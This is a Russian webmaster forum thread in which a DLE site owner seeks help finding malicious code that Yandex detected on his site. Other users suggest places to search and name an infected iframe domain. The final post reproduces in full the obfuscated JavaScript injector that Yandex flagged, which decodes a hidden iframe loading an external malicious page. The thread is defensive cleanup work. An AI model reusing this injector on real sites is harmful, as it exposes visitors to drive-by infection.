X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

3 страниц V  < 1 2 3 >
Открыть тему
Тема закрыта
> Вредоносный код
Oleksa
Oleksa
сообщение 17.4.2011, 0:46; Ответить: Oleksa
Сообщение #12


смотри код страницы, открыв ее в кеше Яндекса и Гугла или как выше писал neox, смотри файлы на сервере, как вариант с свежей датой изменения.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
tsa
tsa
Topic Starter сообщение 17.4.2011, 12:14; Ответить: tsa
Сообщение #13


Ну у кого нить есть ещё варианты где этот гад может находится? =(


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Илюха
Илюха
сообщение 17.4.2011, 13:00; Ответить: Илюха
Сообщение #14


На каком движке сайт? Если ДЛЕ, то полазий по форуму, тут многие задавали такой вопрос и им давали на них ответы.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
tsa
tsa
Topic Starter сообщение 17.4.2011, 13:19; Ответить: tsa
Сообщение #15


Илюха да на DLE! читал не чего такова не нашол!

Сообщение отредактировал tsa - 17.4.2011, 13:22


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Minato
Minato
сообщение 17.4.2011, 15:59; Ответить: Minato
Сообщение #16


а давно Яндекс обнаруживает вирус? У меня было подобное, Яндекс обнаружил вирус, на след ап убрал, потом снова добавил метку, потом снова убрал. В моем случае были глюки, ибо ничего я не искал и не исправлял, так что, если в прошлый Ап появилась пометка, то ждите, уберут её.


--------------------
Бан за кидок трудового народа.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
tsa
tsa
Topic Starter сообщение 17.4.2011, 18:19; Ответить: tsa
Сообщение #17


Minato уже почти месяц такая фигня!


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
elvis81
elvis81
сообщение 18.4.2011, 1:01; Ответить: elvis81
Сообщение #18


Если DLE то ищи в Ajax
Именно в
menu.js
js_edit.js
dle_ajax.js

Открой их и раскодируй там может быть скрипт ссылающийся на сайт http://hfdjhdd.ipq.co/favicon.ico
точный скрипт не помню но сейчас сижу и усиленно чищу сайт от такого вида мусора.

Проверь сайт с помощью сервиса http://antivirus-alarm.ru там всё увидишь.

Прикрепленный файл  menu.zip ( 3,53 килобайт ) Кол-во скачиваний: 38


Вот например что было у меня
Если в конце кода посмотрите и перейдёте по ссылке то там в iframe сидит вот эта бяка _http://hfdjhdd. ipq .co/f avicon.ico

ВНИМАНИЕ БЕЗ АНТИВИРУСА НЕ ЛАЗИТЬ!!! МОЖЕТЕ СХВАТИТЬ!!!


--------------------
ТИц поднимают, поднималкой для ТИца


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
tsa
tsa
Topic Starter сообщение 19.4.2011, 1:08; Ответить: tsa
Сообщение #19


elvis81 у меня нету таких фалов
menu.js
js_edit.js
dle_ajax.js

Весь сайт перекопал wacko.gif


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
elvis81
elvis81
сообщение 19.4.2011, 1:12; Ответить: elvis81
Сообщение #20


tsa, Папка AJAX есть?


--------------------
ТИц поднимают, поднималкой для ТИца
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
tsa
tsa
Topic Starter сообщение 21.4.2011, 2:28; Ответить: tsa
Сообщение #21


elvis81 да есть public_html\engine\ajax там все файлы в формате php


яндекс нашол код а я все файлы вручную переискал этого кода не нашол попрасил хостинга он тоже не смог найти где он может быть?
Вот код:
При посещении Вашего сайта антивирусный робот Яндекса обнаружил вредоносный код следующего содержания:

[script]function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isIE)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName("head")[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};createCSS('#va','background:url(data:,String.fromCharCode)');var god=null;var r=document.styleSheets;for(var i=0;i<r.length;i++){try{var um=r[i].cssRules||r[i].rules;for(var mr=0;mr<um.length;mr++){var xld=um.item?um.item(mr):um[mr];if(!xld.selectorText.match(/#va/))continue;nfiv=(xld.cssText)?xld.cssText:xld.style.cssText;god=nfiv.match(/url\("?data\:[^,]*,([^")]+)"?\)/)[1];ey=xld.selectorText.substr(1);};}catch(e){};}
ff=new Date(2010,11,3,2,21,4);t=ff.getSeconds();var hee=[36/t,36/t,420/t,408/t,128/t,160/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,164/t,492/t,52/t,36/t,36/t,36/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,236/t,52/t,36/t,36/t,500/t,128/t,404/t,432/t,460/t,404/t,128/t,492/t,52/t,36/t,36/t,36/t,472/t,388/t,456/t,128/t,392/t,400/t,484/t,128/t,244/t,128/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,396/t,456/t,404/t,388/t,464/t,404/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,160/t,136/t,392/t,444/t,400/t,484/t,136/t,164/t,236/t,52/t,36/t,36/t,36/t,464/t,456/t,484/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,388/t,448/t,448/t,404/t,440/t,400/t,268/t,416/t,420/t,432/t,400/t,160/t,392/t,400/t,484/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,128/t,396/t,388/t,464/t,396/t,416/t,128/t,160/t,404/t,164/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,392/t,444/t,400/t,484/t,128/t,244/t,128/t,392/t,400/t,484/t,236/t,52/t,36/t,36/t,36/t,500/t,52/t,36/t,36/t,36/t,420/t,408/t,128/t,160/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,164/t,492/t,52/t,36/t,36/t,36/t,36/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,128/t,404/t,432/t,460/t,404/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,476/t,456/t,420/t,464/t,404/t,160/t,136/t,240/t,420/t,408/t,456/t,388/t,436/t,404/t,128/t,460/t,456/t,396/t,244/t,156/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,448/t,420/t,396/t,416/t,404/t,464/t,388/t,184/t,440/t,404/t,464/t,188/t,460/t,436/t,388/t,456/t,464/t,184/t,448/t,416/t,448/t,156/t,128/t,476/t,420/t,400/t,464/t,416/t,244/t,156/t,196/t,192/t,156/t,128/t,416/t,404/t,420/t,412/t,416/t,464/t,244/t,156/t,196/t,192/t,156/t,128/t,460/t,464/t,484/t,432/t,404/t,244/t,156/t,472/t,420/t,460/t,420/t,392/t,420/t,432/t,420/t,464/t,484/t,232/t,416/t,420/t,400/t,400/t,404/t,440/t,236/t,448/t,444/t,460/t,420/t,464/t,420/t,444/t,440/t,232/t,388/t,392/t,460/t,444/t,432/t,468/t,464/t,404/t,236/t,432/t,404/t,408/t,464/t,232/t,192/t,236/t,464/t,444/t,448/t,232/t,192/t,236/t,156/t,248/t,240/t,188/t,420/t,408/t,456/t,388/t,436/t,404/t,248/t,136/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,52/t,36/t,36/t,500/t,52/t,36/t,36/t,408/t,468/t,440/t,396/t,464/t,420/t,444/t,440/t,128/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,492/t,52/t,36/t,36/t,36/t,472/t,388/t,456/t,128/t,408/t,128/t,244/t,128/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,396/t,456/t,404/t,388/t,464/t,404/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,160/t,156/t,420/t,408/t,456/t,388/t,436/t,404/t,156/t,164/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,460/t,456/t,396/t,156/t,176/t,156/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,448/t,420/t,396/t,416/t,404/t,464/t,388/t,184/t,440/t,404/t,464/t,188/t,460/t,436/t,388/t,456/t,464/t,184/t,448/t,416/t,448/t,156/t,164/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,472/t,420/t,460/t,420/t,392/t,420/t,432/t,420/t,464/t,484/t,244/t,156/t,416/t,420/t,400/t,400/t,404/t,440/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,448/t,444/t,460/t,420/t,464/t,420/t,444/t,440/t,244/t,156/t,388/t,392/t,460/t,444/t,432/t,468/t,464/t,404/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,432/t,404/t,408/t,464/t,244/t,156/t,192/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,464/t,444/t,448/t,244/t,156/t,192/t,156/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,476/t,420/t,400/t,464/t,416/t,156/t,176/t,156/t,196/t,192/t,156/t,164/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,416/t,404/t,420/t,412/t,416/t,464/t,156/t,176/t,156/t,196/t,192/t,156/t,164/t,236/t,52/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,184/t,388/t,448/t,448/t,404/t,440/t,400/t,268/t,416/t,420/t,432/t,400/t,160/t,408/t,164/t,236/t,52/t,36/t,36/t,500/t];var lj="";var g=function(){return this;}();eysa=g["e"+ey+"l"];var ippk='';wy=eysa(god);for(var i=0;i<hee.length;i++){el=eysa(hee[i]);ippk+=wy(el);}
eysa(ippk);[/script]

Скобки в тегах изменены во избежание случайного срабатывания кода.



ap

Сообщение отредактировал tsa - 20.4.2011, 20:24


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
3 страниц V  < 1 2 3 >
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Почистить код на сайте
1 Timka 1108 2.1.2021, 1:13
автор: 0pium
Открытая тема (нет новых ответов) Тема имеет прикрепленные файлыВы мне код, я вам как - делать не надо.
0 fedornabilkin 962 18.9.2020, 18:59
автор: fedornabilkin
Открытая тема (нет новых ответов) Тема имеет прикрепленные файлыAdobe muse: Не могу разместить нужный мне код сразу после Body
0 Evg82 3833 20.6.2020, 10:24
автор: Evg82
Открытая тема (нет новых ответов) Повесить мой код Адсенса на ваш сайт на 1-2 дня
4 WildWeb8 3726 18.7.2018, 20:04
автор: startseo
Горячая тема (нет новых ответов) Тема имеет прикрепленные файлыНужен человек, который почистит код от ненужного мусора. (Вордпресс)
51 timkab_mw 6920 2.8.2017, 12:01
автор: timkab_mw


 



RSS Текстовая версия Сейчас: 26.4.2024, 9:24
Дизайн